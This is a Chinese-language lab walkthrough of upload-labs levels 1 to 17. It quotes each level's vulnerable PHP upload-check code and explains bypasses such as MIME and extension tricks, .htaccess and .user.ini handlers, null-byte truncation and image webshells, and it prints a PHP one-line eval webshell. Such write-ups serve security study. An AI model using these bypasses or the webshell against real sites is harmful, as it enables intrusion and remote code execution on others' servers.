做文件上传的题最基本的思想是什么?是如何让文件被保存到网站的目录下,并且可以被访问,从而成功绕过,并将文件上传。
<1>最简单的是前端(第一关)
这一部分记录upload第一关的上传方法
【源码审计】
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
上面的代码时javascript代码。从上面的javascript代码可知,代码定义了一个函数,从函数名可以看出是用来过滤文件的,下面来分析一下
-
1、首先用getElementByName方法将name为’upload_file‘的input标签的value赋值给file变量 -
2、然后if判断文件是否为空,是的话则alert”请选择要上传的文件“ -
3、然后用substring方法截取file变量值中文件后缀的部分并且赋值给ext_name -
4、之后用indexOF方法比对提前设定好的allow_ext变量与ext_name变量,如果allow_ext变量中没有ext_name对应的值,则indexOF方法会返回-1,如果是-1则会弹窗 -
5、这就是这个函数的作用,当我们选择了文件并且点击上传之后会触发焦事件从而调用checkfile函数。代码编写如下图。 -
6.审计完源码之后,可以说没什么破绽,但是我们可以不在浏览器上面绕过,可以在浏览器发出请求之后再拦截然后将文件改成php文件。而后端源码为
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- 7、由以上源码可知在后端没有做任何过滤,直接用move_upload_file函数将文件存到根目录下。所以我们不需要做什么。
基于这种验证方式,我们可以通过上传一个文件内容为php一句话木马的jpg文件之后用burpsuite抓包后改变文件名为php。
【操作步骤】
<2>content-type很简单(第二关)
这一部分记录的是第二关 【源码审计】 这一关的前端没有过滤,所以直接看后端
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
这一关的检测逻辑是,用if函数结合$_FILES['myfile']['type'] 判断MIME类型$_FILES['myfile']['type'] 是php中内置的一种方法用于调取一个会话中file的相关数据,而type则调取的是浏览器发送的报文中file文件对应的post模块中的content_type参数,而这个参数是可以通过burp抓包的方式更改的。不止能调取type,还有tmp_name这个的意思是得到内存中文件的真实名字,还有其它比如name、tmp_name、size等
由以上的分析,我们发现要想绕过网站的检验成功上传不和规定的文件可以通过修改上传的content-type的值,所以我们可以通过抓包的方式修改content-type的值
【操作步骤】
上传php的一句话木马文件,用burp抓包,修改content-type,将application/octect-stream 变为image/jpeg、image/png或image/gif 如下图
<3>文件后缀能改变(第三关)
这一部分讲的是第三关 【代码审计】
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
由上面的代码可以知道,提前对浏览器传递的filename变量做了以下几步
- 1、用trim函数移除字符串两端的空格
- 2、用deldot删除字符串末尾的点
- 3、用strchr函数截取字符串第一个出现的点之后的字符
- 4、将第三步处理的字符串都变成小写
- 5、去除::$DATA
- 6、再次调用trim函数
在apache中php1,php2,php3,php4,php5,phtml等文件都都可以解析php代码,所以我们只需要将文件后缀改为php5等后缀形式就好。
【操作步骤】
1、直接上传php一句话木马文件,并在之后抓包,修改文件名 2、修改文件后缀为php5
<4>配置文件也不难(第四五关)
这一部分讲的是第四关和第五关
【第四关源码分析】
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
由上面的代码可以知道,源码用浏览器传递的filename变量取得后缀并且取得后缀之后用in_array函数判断是否在提前设置好的字符串变量里,然后用浏览器传递的filename变量结合成路径保存文件。具体操作方法如下:
- 1、用deldot去除文件后面的点
- 2、用strchr函数将文件名从左至右第一个点之后的字符截取出来
- 3、将第二步截取的字符都换成小写
- 4、用str_ireplace函数判断后缀字符串中是否有::$DATA,有的话将该字符串转换为空
- 5、之后将后缀字符串左右两边的空格去掉
- 6、用in_array函数判断提前设定好的字符串中是否有后缀字符串
- 7、若有的话将filename的值拼接成路径保存文件
审计完代码后我们再来想一下,我们的关键点是什么,是绕过in_array函数,可以想见的是在文件名上面动手脚是绕不过去的,基于此我们可以用上传.htaccess文件的方式规定所有文件都用php来解析,或者某一类用php来解析(.htaccess文件是apache的一种配置文件,这种文件的作用范围是本目录及以下的子目录)
文件之后上传ihtaccess文件之后上传文件内容为 <?php @eval($_POST['forming']);?> 而文件后缀为jpg的文件就好
【第四关操作步骤】
首先上传.htaccess文件 由上图举例的是上传文件内容是SetHandler application/x-httpd-php 这种类型的,下面上传文件内容为一句话木马的jpg文件。 【第五关源码分析】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
源码功能和第四关类似这里就不再赘述,只不过在deny_ext变量中加入了.htaccess的类型,使得上传不了.htaccess文件,但是能上传.user.ini文件(.user.ini和php.ini文件类似,当启动时会从该目录向上一直到根目录搜索ini文件并遵循其中的配置,.user.ini文件相当于用户自定义的ini文件,它的语法和.htaccess文件类似) 文件内容为auto_prepend_file=forming_is_handsome.jpg 操作方式和上一关类似
【第五关操作步骤】
首先上传.user.ini文件 再上传一句话木马的php文件
<5>文件大写第六关(第六关)
这一部分讲的是第六关 【代码审计】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
上面的代码实现的功能如下
-
1、用$_FILES的方法将浏览器传递的filename参数赋值给file_name变量 -
2、再将file_name去除末尾的点 -
3、截取file_name变量从左往右出现的第一个点之后的所有内容 -
4、匹配是否有::$DATA,有的话转换为空 -
5、再将第四步处理后的字符串左右两边的空格删去 -
6、将第五步处理的字符串与$deny_ext变量用in_array函数比对,判断文件的后缀是否符合可上传的标准 -
7、再组装文件保存的路径,其中文件名用date函数和rand函数组合的值作为文件名,并且将处理后的$file_ext拼接到后面作为文件的后缀之后用move_uploaded_file函数保存
由以上操作可知我们可以用大小写混写的方式绕过,因为在windows中是大小写不敏感的,也就是说大小写混写后的php文件也能解析,但是在php文件运行时大小写混写并不会被认为和完全小写相同。(简单来说就是Php和php并不会被认为相同,从而绕过in_array函数,但是windows系统中还是被当作php文件解析。)
【第六关操作步骤】
上传文件之后将第一个p改为大写 之后可以尝试用蚁剑连接
<6>空格与点七八关(第七八关)
这一部分讲的是第七第八关
【第七关源码审计】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
函数功能和前面类似,少了一个去除后缀字符串空格的语句,所以可以使用文件名之后加空格的方式绕过,同时需要声明的是文件使用的是随机字符做文件名,修改过的后缀字符串做后缀的方式拼接文件路劲保存文件。(文件后缀之后的’空格‘能在in_array函数中不被匹配上,在系统中文件后缀之后的‘空格’又会被系统自动删去,这样就实现了文件上传。各位童鞋可以在自己电脑上随便将一个文件后缀后面加上一个’空格‘试试,看看会发生什么 😃 😃 😃 ) 【第七关操作步骤】 如下图在filename变量的之后加入一个空格
【第八关源码审计】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
文件还是和之前类似只不过少了一个去除文件后点的语句,保存文件路径的拼接方式是直接用在报文中的变量名为filename传过来的变量去拼接文件路径,之后用move_uploaded_file函数保存文件。(文件后缀之后的’点‘能在in_array函数中不被匹配上,在系统中文件后缀之后的’点‘又会被系统自动删去,这样就实现了文件上传。各位童鞋可以在自己电脑上随便将一个文件后缀后面加上一个‘点’试试,看看会发生什么 😃 😃 😃 )
【第八关操作步骤】 如图在filename处的值之后加入一个点
<7>冒号data传文件(第九关)
这一部分讲的是第九关
【第九关代码审计】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
和之前类似不过要注意的是没有匹配并删除::$DATA 的语句,路径拼接的方式是随机数加过滤后的后缀的方式,操作就是在文件的后面加入::$DATA ,其实除了这种方法还可以用拼接绕过得方式绕过,也就是在文件名之后加’点空点‘,其实这就是下一关要讲的。(文件名之后接上::$DATA 不会引起move_uploaded_file的报错因为::$DATA 之后被认为是文件的内容会被忽略)
【第九关操作步骤】
在burpsuite抓的包中把filename的值后面加上::$DATA
<8>拼接绕过第十关(第十关)
这一部分讲的是第十关
【第十关源码分析】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码实现的原理类似之前的就不再详细说明了,就说一下绕过时代码实际是怎样运行的,这关的绕过思想就是通过在文件名之后加点空点实现绕过。
- 1、加了点空点之后代码先是去除之后的点
- 2、然后截取文件后缀包括后缀名之后的点空
- 3、然后再把空删去
- 4、最后再后缀之后会剩下一个点从而在in_array函数中不能和deny_ext数组匹配实现绕过,而之后又用浏览器在报文中传递的filename的变量拼接文件保存路径,而文件路径文件名之后的点空点会被系统忽略从而实现上传。道理和空格与点七八关一模一样就不说了。
【第十关操作步骤】
如下操作在burpsuite抓的包上按照如下修改filename变量的值
<9>双写绕过十一关(第十一关)
这一部分讲的是第十一关
【第十一关源码分析】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码实现的操作如下
- 1、用file_exists函数判断文件路径是否存在,如果存在执行以下操作
- 2、定义一个$deny_ext变量,变量类型是数组元素中存储着字符串类型的值,这些值就是允许上传的文件后缀
- 3、先用trim函数删去通过
$_FILES['upload_ext']['tmp_name'] 得到的浏览器通过报文传过来的在burpsuite中的变量名是filename的字符串左右两边的空格。 - 4、用deny_ext作为匹配规则(pattern)替换字符为空去匹配第三步处理过后的字符串,若匹配上则file_name的值就为空
- 5、之后的主要操作就是用move_uploaded_file函将文件从内存中保存到磁盘上
我们可以通过双写的方式绕过,使用双写的关键是用str_irepalce函数匹配关键字之后替换为空。
【第十一关操作步骤】
如下图在burpsuite抓的包中将文件后缀改为’pphphp‘,这样的话str_ireplace函数先是将中间的php删除之后剩下左右两边的字符组合之后还能是php。
<10>文件后缀零零断(第十二十三关)
这一部分讲的是第十二、十三关
00截断需要 php 的版本号低于5.3.29,且 magic_quotes_gpc 为关闭状态
【第十二关源码分析】
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
源码操作是设置白名单后用substr函数截取文件名的后缀,之后拼接文件的路径用的是随机数加文件后缀做文件名save_path做文件路径。这里我们可以用00阶段的方式绕过过滤其实也可以通过文件名后加点或者空格等之前学过的方法,但是这里要讲一下00截断,直接在上传的报文的的save_path值之后加入%00,就能实现上传
- 讲一下00截断的原理,在服务器读到十六精致编码为00时就会停止读取,而save_path是通过GET传参的00的GET传参的数据最终都会经过URL解码而%00解码之后就是十六进制对应的00,这就导致move_uploaded_file函数会读到00就结束从而上传成功
【第十二关操作步骤】
如下图所示在burpsuite抓的包中GET传参之后为save_path设置想要保存的文件名,并且之后加上%00
【第十三关源码分析】
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
代码和十二关一样,只是save_path改用POST传参了,而POST传的参数不会经过URL解码,所以要用十六进制的方法直接改变参数的十六进制 【第十三关操作步骤】
首先找到save_path变量修改变量值为如下的样子
再打开burpsuite本身自带的16进制编辑器,修改文件的十六进制码,然后,在下图橙色对应位置找到0b修改为00
<11>注意文件头检验(第十四关)
这一部分讲的是第十四关
【第十四关源码分析】
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
-
getReailFileType函数做了什么
-
1、接受一个参数名为$fiename的参数,它的值是一个文件名 -
2、用fopen函数打开文件,’rb‘的意思是以读的方式打开,且以二进制操作使操作时不发生数据转换。之后fopen将一个句柄返还给$file变量。 -
3、用fread函数读取文件的前两个字节 -
4、用fclose函数删除文件的相关进程 -
5、用unpack函数从二进制字符串对数据进行解包,’C2char‘的意思是二进制文件类型是’unsigned char‘转换为char类型最终返回值是一个数组。之后将数组返还给$strinfo函数。 -
6、用inval函数将$strinfo 中的每一个元素转变为int型并且拼接输出给 $typeCode -
7、之后用switch函数匹配对应的值,如果是255216则将$fileType 变量赋值为’jpg‘并返回。若是13780则返回png。若是7173,则返回gif。如果不是以上三种数值,则返回unknow。 -
主程序主要做了什么
- 1、将文件名带入到getReailFileType函数中并将返回的值赋值给$file_type
- 2、根据变量做出相应的操作
由以上的分析可以知道的是主要绕过的就是getReailFileType函数,绕过它的方法可以是图片码也可以是在文件头前加入’GIF89a‘这几个字符声明了文件是gif文件。也就是文件头。
【第十四关操作步骤】
可以直接上传图片马 也也可以在burpsuite抓的包中修改文件的内容,加入文件头’GIF89a’即可,首先直接上传一句话木马的php文件,之后在burpsuite抓的包中修改数值。
<12>两个函数来判断(第十五十六关)
这一部分讲的是第十五、十六关
【第十五关源码分析】
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
这一关代码没什么特别的大题思路就是用getinmagesize函数获取文件信息,后通过 image_type_to_extension 函数返回文件后缀 (getimagesize函数返回的是一个数组,数组的元素都是文件的相关值,其中第三个元素是一个指定的图像类型)
这一关就是通过图片马的方式绕过就好
【第十五关操作步骤】
直接选择图片马上传,后用文件包含漏洞就可以 这个版本的upload-labs-master自带一个文件包含的页面,没有的话也可以自己写一个,有的话该文件应该是在upload-labs-master文件下的inculde.php文件。就拿我的举例,我在图片马中加入的是phpinfo函数在url栏输入如下就可以访问
http://127.0.0.1/upload-labs-master/include.php?file=upload/forming.gif
【第十六关源码分析】
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
源码原理和上一关一样,只不过因为用的函数不同所以略有不同。这一关的exif_imagetype函数直接就能返还文件的类型
【第十六关源码分析】
操作和上一关一样就不赘述了
<13>二次渲染不一般(第十七关)
这一部分讲的是第十七关
【第十七关源码分析】
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
很多人一看代码这么长就懒得分析了,其实还是要一个函数一个函数好好看,因为太长在这里就不说的太详细了,读者下去可以自己分析,这里只说源码主要做了什么
-
1、用MIME值和文件名后缀联合检验的方式看文件是什么类型 -
2、如果是gif、png或jpg文件的格式则执行二次渲染的操作 -
3、如果是三种类型之一的话先将文件保存,保存的文件名就是上传时的filename变量 -
4、根据上传的文件类型用imagecreatefromgif这一类的函数生成一个新的图片 -
5、用新生成的图片保存到磁盘内,保存用的文件名是随机数生成的文件名+对应的文件后缀 -
6、将原本保存下的文件用unlink函数删除
这就是源码干的事情,具体细节这里就不再赘述。二次渲染的难点是imagcreatefrom***函数,不能是之前文件后缀为图片文件后缀实则是php代码的文件,因为还是那样的话调用该函数之后会出错。所以要用图片马,但是php代码不是插入哪里都行,要插入到文件的复制前后不会改变的地方,这是因为复制的时候有一些没必要的数据被舍去生成了新的所以才要插入到二次渲染前后文件源码不变的地方。 【第十七关操作步骤】
本人亲测,直接用cmd命令行copy的文件也能成功上传,没必要像其它博客一样,cmd命令行命令如下图 但是这里还是说一下要用文件编辑器添加一句话木马的方法,下面用的文件编辑器是010 editor,首先用文件编辑器打开图片没有二次渲染前的文件,之后打开二次选然后的文件,用tool栏中的compare就能比较二次渲染前后哪里不一样了
<14>条件竞争不简单(第十八十九关)
这一部分讲的是第十八、十九关
这两关还要用到代码脚本,我写了两个版本一个是php写的脚本,一个是python写的脚本,下面附文件源码
